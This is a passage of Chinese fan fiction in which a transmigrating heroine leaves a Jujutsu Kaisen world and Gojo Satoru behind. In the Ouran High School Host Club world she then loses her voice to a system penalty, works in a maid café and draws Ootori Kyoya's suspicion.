至于原本在夫人身边服侍的由美子额头上已经渗出丝丝缕缕的汗珠,确切的说在看到黑川一平安回来的时候,她就知道了自己的结局。
她绝望又决绝的抬手,早已准备好的匕首刺进了自己的胸膛,痛苦的眼神落在家主大人不容侵犯的背影上。
早在他们站在不同阵营的时候,也许就注定了有这么一天,可她没想到那个什么东西都装不进眼里的大人,居然会为了另一个女人改变。
咒术世家存在上千年,掌控着权利也维护着咒术界的发展,他怎么还不明白,这种将低贱稀薄的咒术师血脉放入权力中心的做法,同样也是在削弱五条家啊!
难道就真的那么喜欢那个女人,以至于将从小的教育与家族责任都可以抛弃吗?
她缓缓闭上了眼睛,唇角是不甘心却期待笑意。
她只是马前卒,那些从出生起就站在权力中心的大人们,早就已经等不及了。
他还有回头的机会。
凭着那双眼眼睛。
她闭上了眼睛,没想到还有再次见到五条悟的机会。
这是一间不常用的会客室,常见的家具上就算紧急打扫过,也仍然带着灰尘的味道。
她趴在地上,像一只被随手抛进来的虫子,在那双眼睛的俯视之下,灵魂都开始震颤。
“现在才开始害怕吗?”
坐在唯一一把椅子上的白发男人单手撑着头,长腿随意的搁在桌上,面无表情的看着她。
由美子在那双眼睛里什么都没看到,嘴唇已经开始颤抖:“大人我……”
他自顾自的打断她的辩白,微微闭上眼睛,沉思:“我想想那些老家伙从多少年前就没有出现过了来着,大概是二十年前?”
“这种临死都还将权利死死握在手里,眼睛却吝啬看一眼外面的世界,那些家伙怎么想都只是为了自己吧。”
他自言自语的声音一顿。
“算了,说这些你也不会想去明白吧,那说简单一点好了。”
趴在地上动弹不得的由美子惊恐的看着他俯身靠近,那双曾被她惊叹艳羡的眼睛带来死亡的压迫感,她闭口忍住哀求,眼神却忍不住的退缩。
五条悟一字一句冷静地说:“不是因为她改变了我,而是我们有同样的想法和能力才走到一起,从头到尾五条家的决策只有我才能下达,从头到尾不管是改革也好,汲取新鲜血液也好,与普通部门合作也好,都是我主观上认同的。”
“不,也不对。”
他突兀的笑了一声:“应该是我们改变了她才对,那家伙一开始可没有大干一场的准备。”
由美子瞪大了眼睛。
是从一开始……吗?
她突然开始呕血,暂时被封住的生机,迅速从破了个洞的身体里流走,那人从身前移开。
“好了,我大概知道是哪些人了,就到这里吧。”
“处理一下。”
最后一句话是对另一个方向说的。
空旷的房间里忽然响起另一道声音:“是,大人。”
紧接着她就再也听不到了。
我醒来的时候,浴室里的水声恰好停止,随后温热的水滴落在脸上,五条悟的脸出现在上空。
“早。”
我被他过于靠近的脸闪了一下,然后抵着他的额头起身,闭了闭眼睛。
果然人刚醒的时候不能看太亮的东西。
顺便看了一眼窗户。
我勾着他的脖子随便找个方向亲了亲他的脸,撇开他起床:“都晚上了,早个什么呀,今天的事……”
“今天的事我已经查到了,还是老样子,这么多年也该退下去了,最近我让人跟着你。”
怎么说,意料之中吧。
我下地走了两步,双腿的酸痛让我动作微顿:“饿了,去吃饭吧,不要太多就行,最近我都会在高专。”
餐厅已经摆好了饭菜,我扫了一眼厨房里的身影了然的收回视线,叹了口气。
“可是她答应我今天晚上吃蟹酿橙的。”
我看他表情似乎有点压抑,故意逗他。
谁知道他看了我一眼,表情很骄傲的从背后拿出了两个小盅,放到我面前。
“将将——”
我双眸一亮,惊喜的站起来:“原来早上你听到了吗?”
站在厨房兼职厨娘的战斗人员额头流下一滴冷汗,原来大人坚持自己审问就是为了这个吗?
难怪一反常态主动出手。
他想到大长老听说家主主动动手审问之后欣慰的表情,决定还是当做什么都没听见。
我打开盖子,用勺子挖出一勺后递到笑着看我的家伙嘴边:“呐,张嘴。”
这种加了果味的菜系当然是因为这家伙也许会喜欢我才点的。
五条悟眼睛亮得让我不自在。
“你到底吃不吃?”
他一把握住了我收回的手,将我拉近:“小一是不是说过你注定是为我来的?”
我一怔。
“那可以一直陪我走下去吗?”
胸口加快的心跳大声到我怀疑他都能听见,我张了张嘴,确实有好几次我都想直接答应他。
可那都不是真的。
我与他十指相扣,按在我的胸膛,认真看着他的眼睛。
“只要你还爱我,不管有多远,我们都能再见。”
第63章
任务完成面板弹出的那一刻, 我心中不是终于来了的松一口气,反而心头微堵。
时间凝滞。
那双带着爱意的眼睛停留在那一刻,再也无法和我在同一个时空,无论何时总是第一个看向我。
他早就猜到了我会走, 十年是任务的极限, 恐怕也是他能控制的极限。
他特意用轻松的表情和语气来问我, 我却舍不得他难过了。
我撒谎了。
任务完成后积分足够的话员工是拥有选择养老时空的权利,作出承诺后, 再努力任务直到再次见面。
我原本是这样想的。
直到我发现自己好像忘记了一个人,一个笑起来应该很灿烂,让人心头柔软,带着柑橘香气的人。
我趁着还没脱离小世界,点开了单独分配的人工智障,问了一个问题。
“这是我参加主角任务的第几年?”
对面安静了一会儿,我耐心垂眸等待,望着和五条悟十指相扣的手渐渐出神。
[经查询目前是您开启特殊任务的第十一年]
十一年啊……
我摸了摸他的脸, 忍不住叹了口气,按照系统的行事风格, 他会忘记的吧。
[脱离倒计时]
[10、9、8……]
我动了动嘴唇:“要记得我……算了, 要和大家一起开心一点啊。”
[时空通道开启,传送完毕]
我手中一空,心里也跟着空落落的,退休就像是吊在员工面前的胡萝卜,不知道要经历多久才能得到进入小世界的机会。
不要等我了。
“你到底干了什么啊!笨蛋!”
“疼疼疼!”
我抱着脑袋围着传送大厅四处逃窜,背后是举着扫把一脸狰狞的前辈,脑袋还隐隐作痛。
两人一路风驰电掣消失在总部大楼,徒留部长一人对着乱成一锅粥的两个世界数据焦头烂额。
任务是完成了, 数据也很完美,但这两个世界的不稳定性反而增加了!
之前那个就算了,这个小世界工作人员刚一脱离,就发生极其不稳定的波动。
……看着数据乱窜的部长摸了摸光溜溜的脑门,叹了口气,一巴掌合上电脑,顺便关闭数据传输。
先压下来吧,总归没出什么问题。
我委屈的跪坐在地板上,下意识做出认错的表情,内心茫然的在脑中回想我离开前做了什么。
前辈进门后急促夸张的喘息就平缓下来,随手扔了提在手里的扫把,拿了两罐饮料打开一瓶递了过来。
我双手接住饮料:“谢谢前辈。”
她一口把手里的汽水饮尽,斜看了我一眼:“道什么谢,这不是你家吗?”
说的也是呢。
但在前辈面前没办法不恭敬吧。
她盘腿坐在我面前大大咧咧的撸了一把凌乱的刘海,眼神严肃:“现在你可以跟我说说你在小世界究竟干了什么?”
我抿了一口饮料,默默换成橘子汽水。
“我干了什么?”
我迟疑的回想了一下,想到数次打算破坏规矩告诉五条悟一些事情就有些心虚,随后又理直气壮起来。
反正最后也什么都没说嘛。
那些都是他自己猜到的。
我忽然灵光一闪握拳击掌,掏出手机将收藏的帖子转发给前辈:“硬要说起来,应该就是这个了!我顺利完成任务的关键!”
“叮。”
收到信息的前辈甩给我一个你等着的眼神,眼神狐疑而批判的打开了手机。
我偷偷往旁边挪了挪,伸长手指打开了电脑开关,顺便给一众电量告急的电子产品充上电。
又过了十分钟,我偷感十足的拿起游戏机,点开游戏排名,眼神忽然一凝。
大幅度下降啊!
这些人就不用上班吗?
一不留神就过去了一个小时,我看着重新回到最上面的ID心满意足的笑了。
从地上爬起来去觅食的时候,不小心踢到什么,发出一连串稀碎的声音。
“什么东西裂开了?”
我拿着空荡荡的瓶子低头,大惊失色:“前辈你不要死啊!”
“噗咳咳!不要摇了我还活着。”
御坂奈气若游丝的把自己从她的手里挣脱出来,望着她担忧的脸欲言又止:“总之辛苦你了。”
我:“?”
“我是不是错过了什么……前辈?”
御坂奈避开她的眼神,心虚的把自动跳转到楼主账号的手机揣进口袋,欣慰又沉重的拍肩。
“你这家伙,很有天赋啊。”
我看着神情微妙的前辈,大脑飞速运转,最终得不出答案决定先skip一下。
“前辈饿不饿,我们一起吃泡面吧。”
御坂奈沉声:“不,我没胃口。”
她用你这个年纪怎么吃得下去的眼神如获至宝的望着黑川一,能够用她看似花里胡哨实际上全是老掉牙胡诌的经验贴成功完成两个世界的特殊任务的新手。
难道小一是个天才?
“有没有想过直接参加下一个任务?”
我心满意足的把泡面插上叉子,把搭配的牛奶放在泡面盖上,下巴抵着牛奶在投屏的电视机前坐下,即答:“没有哦。”
“不,你有。”
要是不抓紧说不定会被部长发现是小一用了她的方案导致小世界出现不稳定的问题,她们两个就一起完蛋了!
果然还是先去任务世界避避风头吧。
等小一完成所有任务休假回来,事情应该也就过去了。
直到被重新投入传送的光圈,我来得及消化前辈在耳边说的一连串讲解,脚步不稳跌坐在地上的时候,耳边同时传来的脆响让我懵懵然抬眼。
然后落入一双掩藏在透明镜片后弧度优美狭长的凤眼中。
“你以为你是谁,竟然敢在我面前说这样的话?”
眼前之人就是这次的攻略对象凤镜夜,而她这次的身份……
凤镜夜推了推眼镜,不再看惊吓得呆愣在地上的女人:“不过是被挑选出来的对象之一,黑川小姐,请不要擅自以我的未婚妻自居,这会给我带来困扰。”
身材修长挺拔的黑发少年说完后,转身离开了这间教室,离开之前似乎往我身后的窗户看了一眼。
形状复杂华丽的大门缓缓闭合。
我轻轻吐了口气。
真可怕啊,那个眼神。
要不是之前有在……脱敏过,差点就要当场收拾收拾自己强制下线,算了,切腹果然还是不可能的。
这间教室空荡荡有家具的地方都盖着一层白布,应该已经很久没有人来了,我抱着膝盖正好趁机理清一下思绪和信息。
任务对象是财团凤家的三儿子凤镜夜,看起来不太好相处,记忆中没有其他资料。
完毕。
我的身份是医院院长的女儿,因为喜欢凤镜夜而擅自跑到樱兰来见一见他,被当做男公关部的客人招待。
结果冲动之下说出了“我是你的未婚妻,你能不能不要继续待在男公关部”这种话,接下来的事情就是我遇见的那样了。
首先排除掉凤镜夜有什么一定要做host的特殊癖好。
那个男公关部对他来说有特别的意义?
是有决定当一辈子好朋友的挚友还是能见到喜欢的人呢?
倏然那双居高临下刺过来的可怕眼神再次闪现在脑海,我抱住脑袋觉得第一次任务就是这种难度,未免有些过于强人所难。
而且没记错的话。
“现在是高三临近毕业的时候吧,啊,果然不该在这个时候来打扰他啊。”
系统接管的身体到底是什么人工智障!
现在转学也不现实,要接近凤镜夜果然还是要进入男公关部吧。
我扶着墙壁站起来,给自己打气:“虽然很可怕,果然还是去道个歉吧,男公关部是在哪个教室来着?”
走出空教室,外面宽阔复杂的走廊让我陷入茫然。
我望着通向一楼的楼梯,十分丝滑的做出退缩的决定,先回去做好准备也是不错的选择……诶?
身体一轻,我好像飘起来了。
左右先后响起两道声音。
“这位小姐还未到指名招待的时间,让您这样回去有些失礼。”
“所以就让我们代替镜夜来招待你吧。”
我左右看看差点以为看到什么灵异事件,惊恐的表情还没有完全展露,前方就忽然出现了一道金灿灿的身影。
紧接着左手被抬了起来,金发紫眸的少年用那双漂亮的眼睛自下而上的望向我:“怎么能让这位小姐就这样离开,请让我来招待你,希望你的脸上能再次绽放出动人的笑意。”
怎……怎么回事?
我被握住的手微微颤抖,雾蓝色的瞳孔放大,为什么这个人会有这么亮闪闪的背景啊! ?
眼睛好难受。
我挣脱左右两边的手向后退了一步,迅速移动到三人身后的阴影当中,闭上眼睛擦了擦被激出的泪花。
呼,活过来了。
那边传来了那对双胞胎的窃窃私语。
“喂光,她不会被镜夜冷淡对待后,被我们感动哭了吧?”
“原来是这种性格吗?这么容易感动还真是让人起鸡皮疙瘩。”
“看起来大少好像打算放弃了。”
“馨,大少本来就是为了来解围的吧,如果让这位黑川小姐为难的话,大概就会放弃。”
我都听到了喂!
那两个双胞胎原来是打算把我带回去看笑话的吗?可恶好阴险。
我偏过头对那位金闪闪的少年道谢:“谢谢你的邀请,我觉得今天果然还是算……”
“你们都在这里干什么?还有很多客人等着招待。”
不久前才听过的声音在前方响起,不远处的第三音乐教室门微微敞开,凤镜夜推了推眼镜看向我,眼神中的温度急速下降。
“还有黑川小姐,不介意的话先进来吧。你的指名时间还没到。”
我抱住手臂,好明显的区别对待。
不过“我”之前做了冒犯他的事情也情有可原。
我努力维持着镇定在四人的包围下走进音乐教室,一时间吸引了大部分好奇探索的目光。
“啊,居然回来了。”
“什么什么?”
“就是刚才给我跟你说过的,居然颐气指使的让镜夜退出男公关部的女人!”
“啊,我知道了!居然还能回来,镜夜还真是心胸宽阔呢~”
我迅速观察了一遍这个过于热闹的教室,然后看向拿着文件夹写什么东西的凤镜夜,他头也不抬:“如果有话想说的话,建议黑川小姐先想一想。”
……他是在说我说话没脑子?
冷静。
我在心中默念本来就是“我”的错,我要承担起来。
我拿着茶杯,手指不自觉收紧,低着头:“对于刚才的话,我……”
明明刚才还很热闹的教室,居然在这种时候不约而同安静下来,我梗了一下,原来你们都在听吗? !
第64章
第三音乐教室春日樱花主题日。
最大的樱花树下同样黑发的两人相对而坐。
我握着手里的杯子,一片樱花飘飘荡荡的落在茶杯里,在微红的茶汤表面泛起点点涟漪。
如同我越来越紧绷的后背一样,泛上一层层尴尬的热意。
也许我现在脸上已经烫得可以滚熟一个鸡蛋了也说不定,不过, 我看向对面放下文件夹双手交叉放在桌上, 静静等待的少年。
面对这样的我, 他仍然不忘给予我尊重,虽然说起话来似乎不太客气, 但内心说不定是一个格外温柔的人。
我下定决心和那双可以称之为漂亮的凤眸对视,被太多人注视所产生的退缩在他清爽平和的眼神中褪去。
身穿别校制服的黑发少女面容只能称得上清秀,可那双雾蒙蒙的钴蓝色眼睛有莫名引人注意的魅力。
她似乎很紧张、也很愧疚。
因为那双眼睛里的情绪都快要溢出来全部堆砌到对面少年身上了,只是她不知为何几次张开嘴巴都无法将话说出来。
须王环摸着下巴,光明正大的摇摇头:“难不成是太紧张了?可惜镜夜禁止我们过去,不然还能帮上忙。”
他抽出一只手帕夸张的按了按眼角:“孩子她妈长大了啊。”
常陆院双子经过他身后,同时伸手将他带走,他们对视一眼各自都从对方眼中看到了无感。
这种自私冲动并对公关部众人抱有过度占有欲的女人,他们见过不少,这位黑川小姐难道会有什么不同吗?
性格好像一般, 家世似乎也够不上樱兰, 就连脸也不够可爱。
他们兴致缺缺的移开目光,带着止不住操心的大少去找春绯,果然一见到春绯大少就会被吸引大部分注意力。
“春绯——诶,你这副表情难道是在嫌弃我吗?!”
在熟悉的背景音下,常陆院馨挂在哥哥身上往凤镜夜两人那边看了一眼,声音拖长:“也不知道镜夜前辈什么时候能解决,如果是联姻的话还太早了吧。”
常陆院光挑起他的下巴,在一片压抑的尖叫中,在他耳边暧昧的凑近,实际上声音相当平静。
“大概也是自作主张,镜夜前辈可不是任人摆布的家伙……诶?怎么回事?”
虽然大家装作不在意,实际上都暗中关注着那两人的情况。
没办法吃瓜是人的天性呢。
那名不合时宜出现在樱兰的黑发少女表情从忐忑转变为震惊,然后茫然的摸着嘴唇,雾蒙蒙的蓝眸盛满了惊慌和茫然的情绪,过量的情绪波动让那张脸都鲜活起来。
常陆院双子对视一眼,同时感叹:“哇——”
“我已经仔细反省过了,刚才的事情真的很对不起,我……”
凤镜夜平静的眼神动了动落到她张合的唇上,被牙齿折磨过的唇还带着不自然的红,在手指极力隐藏慌乱的触碰下如布丁一般柔软的下陷。
凤镜夜眉头微蹙,眸中的神色冷了下来:“黑川小姐。”
我把手从唇上移开,倏地起身,身前的茶杯被掀翻在地,空气又是一静。
怎么回事?
我视线落在空气中,鲜红的警告在面板上跳动。
[警告! OOC警告!本次人物在系统托管下有明确人生轨迹,请保持人设。 ]
[检测到OOC程度80%]
[随机惩罚:失语症]
失语症?
太莫名其妙了吧?
我摸着无法发出声音的喉咙,猛然抬头看向凤镜夜,他仍然坐在原地,身上却不断滴落被掀翻的茶水,面色阴沉如水。
凤镜夜推了推眼镜,忍耐地说:“黑川小姐,我想你可以离开了,我会和家父反馈今天的事。”
啊,彻底出局。
众人头顶同时冒出这句话。
无法直接道歉,就连话都说不出来,还被这么多人关注,脸上的温度迅速褪去连唇角都开始发白。
能不能……能不能把视线移开。
我按住紧张到抽搐的胃,察觉到一阵难以抑制的呕意。
可恶,好久没有感受过这种紧张到反胃的感觉了。
和攻略对象第一次见面不仅口出狂言,如果还在他面前大吐特吐的话,完全不妙啊!
我一手捂着唇,一只手按着翻腾的胃,朝面色难看的凤镜夜歉意的鞠了一躬,飞快逃出了第三音乐教室。
凤镜夜看着对面空空如也的座位,缓缓眨眼,然后在本子上记录了点什么。
“……离开了。”
光和馨若无其事凑到他身后,凑过耳朵倾听。
“那这套从法国空运过来的茶具,啧,先记下来。”
常陆院馨摊了摊手:“果然还是那个镜夜前辈。”
等了一会儿,身旁的兄弟却没有出声,他看过去勾住光的脖子:“镜夜前辈是不可能为说出那种话的家伙心软的啦,对吧?”
常陆院光神色莫名的看着刚刚关上的门。
“春绯刚刚跟出去了,她认识黑川吗?”
“诶?”
我顺着楼梯往下冲,陌生庞大的建筑里,一时间竟然找不到洗手间的方向。
我停下脚步,扶着楼梯栏杆蹲在地上。
一只温热的手忽然圈住我的手腕,果断的带着我朝一个方向奔去。
“跟我来。”
这名忽然出现的少年有一头深棕色的短发以及同样可爱的棕色眼睛,眼里是毫无保留的担忧,我下意识跟着她拐进了洗手间。
我顿时管不了那么多,来不及说感谢,就扶着水池干呕起来。
就连这种时候都发不出声音呢。
我听着自己狼狈的喘息,对这次的任务不可避免有些泄气,果然和我的工作职责不一样。
……我一点也不擅长和其他人打好关系。
早知道就不要为了带薪休假这么莽撞了。
我摸着胸口的位置,眼睛茫然的睁大,明明遇到这种事情退缩才应该是我的第一反应,为什么心里居然会感到失落。
一边想着,我点开了系统面板,手指戳上了灰色的强制退出按键。
“呐,给你手帕。”
“谢谢。”
我拿着手帕擦了擦脸,一手狂戳退出,按键闪了闪,我手心一沉出现了一把朴实无华的匕首。
“为什么这次的是匕首,不对,为什么强制退出会是这种东西啊?!”
可恶。
总觉得又不是很意外。
我把匕首恶狠狠的揣进……裙腰卡住,捏着散发着淡淡香气的手帕转身,打算先回家。
“啊你还好吗?”
听到脚步声,背对着我的少年转身,朝我走来。
“我是藤冈春绯,是男公关部的成员。”
我拿着手帕的手一僵,那不是完全知道刚才发生的事吗?
他是来为凤镜夜打抱不平的吗?
“我们能边走边说吗?”
我整理了一下心情,对这名可爱的棕发少年挤出一个微笑,先发制人。
“诶?可以哦,我们先走吧。”
藤冈春绯微微一笑,牵着我的手,往另一个方向走去,直到走出樱兰我们都没遇到什么人。
她在一丛漂亮的玫瑰藤下停下脚步,并未转身看我,而是望着天空,声音是让我不自觉放松的柔和。
“呐,黑川桑,刚才你想和镜夜前辈说什么呢?”
我望着他干净漂亮的侧脸,第一次在一个不熟悉的人身上感觉到安心,不自觉点头。
藤冈春绯收回目光,松了口气:“果然我没有看错。”
我茫然的看着她。
他握拳放到唇边绽出一个可爱的笑容:“你是想问我看到了什么?”
好……好可爱。
我背后咔嚓一声劈下一条闪电。
如果在攻略世界对另外的对象一见钟情可以申请换一下攻略任务吗可恶!
只是短短十几分钟的相处,我感觉自己快要爱上春绯了啊~
他目光的思索:“从黑川桑刚出现的时候我就注意到了哦,总觉得说的并不是真心话呢,喜欢镜夜前辈什么的,你是有原因的吧。”
“被镜夜前辈叫出去之后,说真的没想到你还会回来,当时看向他的眼神真的很不安。”
他顿了顿自然的说:“黑川桑真的是什么情绪都盛在眼里,我觉得很可爱哦。”
这么容易被人看穿的我面无表情的感动到红温了。
请让我一辈子追随春绯——
“但是为什么会突然这么惊慌?”
他转过身看着我,现在我已经不会在她的眼神中感到不安了。
在玫瑰花丛微风浮动中,嗅着空气中醉人的香气,我张了张口,忽然反应过来手忙脚乱的掏出手机写下一行字递给他看。
我等待着他的回应。
“你是说忽然说不出话了,结果太多人看着你又紧张到想吐,所以落荒而逃了的?”
我接过手机握在身前,疯狂点头。
藤冈春绯沉吟了一下,在我紧张的注视下,拿出手机递过来:“既然是这样,还真是可惜没能完整向镜夜前辈传达你的心情,我们先来交换电话吧。”
其实也不是很可惜。
我双眼亮晶晶的看着他,毕竟凤镜夜真的很可怕。
而我的天使显然另有其人! (并不是
“这样就好了,接下来我陪你去医务室吧。”
我摇摇头,从刚才开始手机里就有一个备注为“1”的联系人的消息不断跳出来。
我看到了手机屏幕上跳出的最新一条-
听说你在樱兰惹事了,给你十分钟回来解释,不然就不用回来了-
大门识别系统已经删除,从今天开始你也不会有零花钱,你已经满十八岁了,回去你该去的地方吧。
我调出余额,对其中1431日元的数字陷入沉思,这点钱够我活过明天吗?
我有些抱歉:“对不起春绯,我有点事要马上回家一趟。”
藤冈春绯虽然担心,但还是带着我往打车的地方走:“没关系,要记得去医院哦。”
“春绯,把她交给我吧。”
我脊背一僵,灰暗的记忆重新跳出来鞭挞我的神经,听着身后靠近的脚步声有些抓狂。
为什么又出现了!
藤冈春绯犹豫:“可是前辈……”
凤镜夜走到我身后,一只手轻轻搭上我的肩膀,俯身看着春绯却是对着我说话。
“没关系吧,黑川桑不是还有话要对我说吗?正好我家在附近有经营的医院。”
我听着身后的声音,后背起了一片鸡皮疙瘩。
有那种眼神的家伙这么好心吗?
藤冈春绯却是松了口气的表情,安心的后退一步:“那我就放心了,镜夜前辈、黑川桑再见。”
肩膀上的手好沉重……
我在凤镜夜的注视下,勉强点头。
他望着春绯离开的背影,冷淡的轻笑一声:“那么,就跟我来吧,突然失声的黑川小姐。”
第65章
我挺直脊背扭头看着外面飞速划过的街景,双手交握放在膝盖上不安的收紧,看着窗外春绯的身影逐渐消失,不自觉叹了口气。
啊,不见了。
清浅的叹息声在车内几不可查的回荡, 坐得笔直笔直目光直视前方的司机小心翼翼往后看了一眼, 又迅速回正。
今天的气氛是怎么回事?
除了春绯小姐这还是少爷第一次带女孩子回家,气氛却这么僵硬,镜夜少爷心情似乎很差啊。
“停车。”
加长款豪车停在街角。
凤镜夜从书页中抬头,将腿上的书合上,视线落在黑川一的后脑勺上,车内安静了一会儿。
他眉尾动了动,还是出声提醒:“前面就是医院,难道要我亲自送你去?”
我停顿了两秒, 意识到他放自己离开的意思,顿时松了口气, 欣喜的打开车门窜下车, 在门外朝双手合十放在身前微微躬身。
嘴唇动了动无声道谢。
车里的少年收回视线,看起来没有探究下去她失语症状是否确有其事的意思。
我立在路边, 静静的目送车辆离开。
等车辆驶过街角, 我立即转身朝另一个方向走去, 刚才在车上搜刮了一下记忆。
她是黑川院长在面的情人生的孩子,早在当年母亲找上门的时候,黑川家就已经给我一大笔钱安置了,她的母亲拿着钱决定将她生下来。
可母亲在她十岁那年就去世了, 原主一直靠打零工和社会补贴长大,除了母亲留下的房子之外一贫如洗。
黑川家也是听说了凤家有意为三子敲定未婚妻的打算,才将她临时叫了回来,不过也没抱多大希望。
谁知一个几日前还穿着救济的旧衣服,连饭都不敢吃太饱,升学学费都有问题的少女,有多想留在黑川家或是……按照父亲所说嫁给有钱的富家公子凤镜夜。
脑袋不聪明的她才做出了接下来的事情。
看来这个家是不用回了。
我摸出手机再看了眼余额,黑川院长给的第一笔零花钱不多,她还完了助学贷款之后没忍住买了点新衣服就不剩多少了。
十分钟后,我倒退回到刚刚经过的一家咖啡店,表情十分挣扎。
所以说我真的很讨厌在任务世界还要认真当牛马啊。
“欢迎回家,主人请往这边走~”
我面色紧绷在心里给自己打气,这家咖啡店允许晚上兼职,工资也是这一带不错的,同事也都是可爱的女孩子,已经找不到比这里更好的选择了,上啊!
我展开手上的招聘启事,哒哒哒在手机上打出一行字。
“我是来应聘的[爱心]。”
为了增加说服性,我在句尾加上了可爱的符号,希望能和这间咖啡厅的风格靠近。
迎上来的少女捂唇:“啊,应聘?快跟我进来吧,我就是这家店的店长。”
我坐在小圆桌前,期待的看着她。
店长似乎有些犹豫:“仔细看的话倒是个可爱的孩子,但是你的声音……是不能说话吗?”
可爱!
她觉得我可爱!
我双眸发亮,在手机上打字速度快成残影,然后展示给她看。
“是暂时不能说话?很缺钱?这样啊。”
店长摸着下巴陷入沉思,我有点不安的左右看了看,这家咖啡厅装潢非常温馨四处都是软软的可爱软装,色调也是让人放松的复古色系。
关键是店员都很漂亮啊。
我有些泄气。
店长的客套话我都当真了,还是不要给她添麻烦了,大不了再看看别的兼职。
店长看着黑川一雾蒙蒙的双眸,忽然高兴的击掌:“啊我知道了,虽说无口系也有很多人喜欢,但到底是在营业的咖啡厅呢,今天就来试工吧!”
“如果不行的话,后厨还缺一个帮工哦,虽然工资会少一点。”
我越过桌子捧住她的手,诚恳的用双眼表示我可以干帮工。
店长兴奋的站起来推着我走进更衣室,还往我手里塞了一套衣服,就关上了门。
“真是个好孩子,快换上吧!”
我拎着黑白相间的女仆装以及毛绒绒的兽耳发箍,歪了歪头,女仆咖啡厅帮厨也要穿这个?
直接出去似乎也不太好,还是先换上吧。
我有点羞耻的换上衣服,相较于保守的校服和以前的穿衣风格,这件裙子裙摆可爱的膨起落在大腿中部,恰好露出被白色大腿袜包裹的双腿。
我将长发散开,兽耳发箍隐没在发间,随着我的动作微微颤抖,深吸一口气忐忑的看向镜子。
不,不愧是女仆装,我这种阿宅穿起来也这么可爱。
我动了动脑袋,瀑布般的长发随着我的动作流动,恰到好处垂落在脸颊两侧的公主切也随之分散。
镜子里的少女透着一股被精心养护后的矜贵与难言的古典气质。
我茫然的扯了扯头发,之前我是这个发型吗?
什么时候头发变得这么顺滑漂亮了?
奇怪。
更衣室的门被人敲响,店长的声音打断了我的思绪:“小一?好了吗?”
我连忙跑过去开门,有些不适应的扯着软软的裙摆,微微垂眸打开门,展示手机上的话。
我好了。
安静……
店长似乎看着我陷入奇怪的思绪当中,我不着痕迹把手中的裙摆捏到褶皱,不安的等待她的声音。
脸颊却忽然被一双激动的手捧住,紧接着脑袋就被店长抱进怀里,耳边伴随着她激动的尖叫。
“虽然小一已经很可爱了,但没想到会这么适合呢,我绝对要让你留下,就算是当吉祥物也是我心甘情愿呜呜呜!好幸福!”
从没有被这么热情招待过,我感觉被挤压的脸不受控制的烧红了,有点透不过气,又不是很想直接把人推开。
唔,兼职的事情应该成功了吧。
几分钟后,店长终于冷静下来放开我,她郑重的握着我的肩膀将我转了个方向。
“去吧,小一,前方就是你的战场!啊对了,带上这个!”
我从她手里接过几个写着字的可爱指示牌,僵硬的被几名漂亮姐姐一起拥簇到门口。
恰好门口的铃铛响起。
“欢迎回家,主人~”
我手忙脚乱的拿出写着迎宾语的小牌子,跟着鞠躬,客人的脚步朝这边走过来,正好停在我面前。
“咦?没见过的新面孔呢?”
旁边的姐姐在帮我解释,我面无表情的慌乱着换了一块台词,并领着客人朝空闲的座位走去。
好样的!
我在心里鼓劲,到现在为止都很不错。
“内个,一酱,同手同脚了哦。”
我脚步绊了一下,红着脸写上抱歉,在对方包容到诡异的笑容里完成了点餐和上餐。
店长偷偷出现在我身后:“做得很好哦小一!就这样持续下去就好了。”
我欲言又止,看着她开心的表情还是决定算了,服务员就服务员吧,起码工钱比较高。
人的上限都是被逼出来的。
经过一晚上的锻炼我已经能从容的完成所有流程了,只不过好像总有人在看我,错觉吧?
我收回往后看的视线。
临近打烊,门前又来了新客人,我连忙小跑过去,躬身问好,黑发顺滑的垂落到身前。
“铦,听说这里的甜点超级好吃,快来快来。”
好可爱的声音。
我收敛好被可爱到的表情,尽职尽责的领着两名少年落座,说起来他们的校服好像有点眼熟。
金发的可爱少年自然的靠在寡言的黑发少年身上撒娇,这幅画面太过美好,我已经听见不远处店长兴奋的声音了。
我收好点单的纸条回到后厨,然后被店长扑了一脸。
“是可爱受和寡言攻啊,我不行了!不过我还是最喜欢小一~”
我驮着店长整理好所有餐点,无奈的打字。
店长,让我先出去上餐哦,另外谢谢喜欢。
店长捂住胸口,目送她离开后厨,泪眼汪汪的挂在担任厨师的少女身上,擦了擦眼角:“真好啊,这个世界不能没有无口系少女啊。”
厨师身后同样冒着爱心:“我倒觉得是不自知的整肃系呢,太可爱了。”
我完全不知道后厨里的状况,兢兢业业的招待完这一桌后,就到了下班时间。
我愉快的蹦跶进了更衣室和依依不舍的店长挥别回了家。
“呐崇,刚刚那个女仆好像有点眼熟诶。”
铦之冢崇从被合上的店门收回视线:“啊。”
埴之冢光邦拿着忽然震动起来的手机,笑了起来:“哇,刚刚发到群里的照片好像不小心把女仆小姐照进去了,啊,环好像很开心。”
铦之冢崇打开手机,扫了一眼须王环发出的一连串问题,面无表情的关掉手机。
“啊。”
“回去了,光邦。”
凤镜夜洗漱完躺在床上难得享受一天中的轻松时刻,悠闲的思绪被连续震动的手机信息拉了回来,打开手机就看到须王环发来的照片。
环:镜夜——快看, honey前辈和铦前辈背着我们去了庶民的咖啡厅! ! !
他无聊的打了一行字,手指忽然一顿,点开了那张honey前辈和甜点的合照。
放大。
半晌,一声轻笑在宽敞的卧室里响起。
“失语症?去医院?还没人敢用这么粗糙的手段耍过我,黑川……吗?”
第66章
窗外枝头叽叽喳喳的鸟鸣将我从睡梦中唤醒。
我顶着一头乱发捂着鼻子打了个喷嚏,面色惨淡的从空荡荡床上下来,现在虽然说已经是初春,但床上只有一层薄薄的空调被也太过了吧。
好冷。
我顶着室内的凉意,飞快穿上校服,打开空荡荡的冰箱拿出昨天从咖啡厅带回来的三明治匆匆出门。
牙膏浓重的薄荷味还停留在口腔,我拿着刚从冰箱拿出的三明治,不论是喝水还是直接吃东西都有些想吐。
我计算了一下余额,还是觉得今天回来的时候买一只新的牙膏, 橘子味的就不错。
今天起得有点晚了,还好住处离学校不远,我打开三明治箱包装小心咬了一口。
浓烈的薄荷味与散发着凉意的面包果酱交融。
我蹙着眉,勉强咽了下去。
兼职的钱还没拿到,凑活凑活算了。
我加快脚步小跑着赶去学校。
没注意到街边安静的停着一辆眼熟的加长款豪车,它几面窗户都贴着防窥膜,窗户里只能看见一片漆黑。
凤镜夜合上书页看了眼手机, 资料没错的话桐皇高中应该差不多要到上课的时间了。
他扫过装潢安保都比较普通的公寓楼, 对司机说:“走吧。”
话音落下,穿着深色制服外套的黑发少女脚步匆忙的往外跑,手里还拿着一个便利店包装的三明治。
“…跟上她。”
我好不容易解决完冷掉的三明治, 前面就已经看到桐皇高中的校门, 在铃声响起之前成功上垒。
